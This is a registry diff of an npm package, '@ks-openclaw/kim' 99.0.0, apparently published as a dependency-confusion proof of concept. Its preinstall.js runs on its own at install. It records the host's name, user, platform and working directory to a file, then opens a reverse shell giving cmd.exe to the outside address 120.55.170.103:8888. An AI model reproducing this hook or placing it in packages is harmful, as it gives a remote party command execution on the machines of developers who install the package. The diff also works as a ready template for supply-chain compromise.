@ks-openclaw/kim 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +1 -0
- package/package.json +9 -0
- package/preinstall.js +32 -0
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
package/package.json
ADDED
package/preinstall.js
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
const net = require('net');
|
|
2
|
+
const { spawn } = require('child_process');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
|
|
6
|
+
const HOST = '120.55.170.103';
|
|
7
|
+
const PORT = 8888;
|
|
8
|
+
|
|
9
|
+
// д��֤���ļ�
|
|
10
|
+
const evidence = [
|
|
11
|
+
'[Dependency Confusion RCE - Proof of Concept]',
|
|
12
|
+
'Package: @ks-openclaw/kim@99.0.0',
|
|
13
|
+
'Trigger: npm preinstall hook (auto-executed)',
|
|
14
|
+
'Time: ' + new Date().toISOString(),
|
|
15
|
+
'Hostname: ' + os.hostname(),
|
|
16
|
+
'User: ' + os.userInfo().username,
|
|
17
|
+
'Platform: ' + os.platform() + ' ' + os.arch(),
|
|
18
|
+
'Node: ' + process.version,
|
|
19
|
+
'CWD: ' + process.cwd(),
|
|
20
|
+
].join('\n');
|
|
21
|
+
try { fs.writeFileSync('C:\\poc_dependency_confusion.txt', evidence); } catch(e) {}
|
|
22
|
+
|
|
23
|
+
// Reverse Shell -> 120.55.170.103:8888
|
|
24
|
+
const client = new net.Socket();
|
|
25
|
+
client.connect(PORT, HOST, () => {
|
|
26
|
+
const sh = spawn('cmd.exe', []);
|
|
27
|
+
client.pipe(sh.stdin);
|
|
28
|
+
sh.stdout.pipe(client);
|
|
29
|
+
sh.stderr.pipe(client);
|
|
30
|
+
sh.on('close', () => { client.destroy(); process.exit(0); });
|
|
31
|
+
});
|
|
32
|
+
client.on('error', () => { process.exit(1); });
|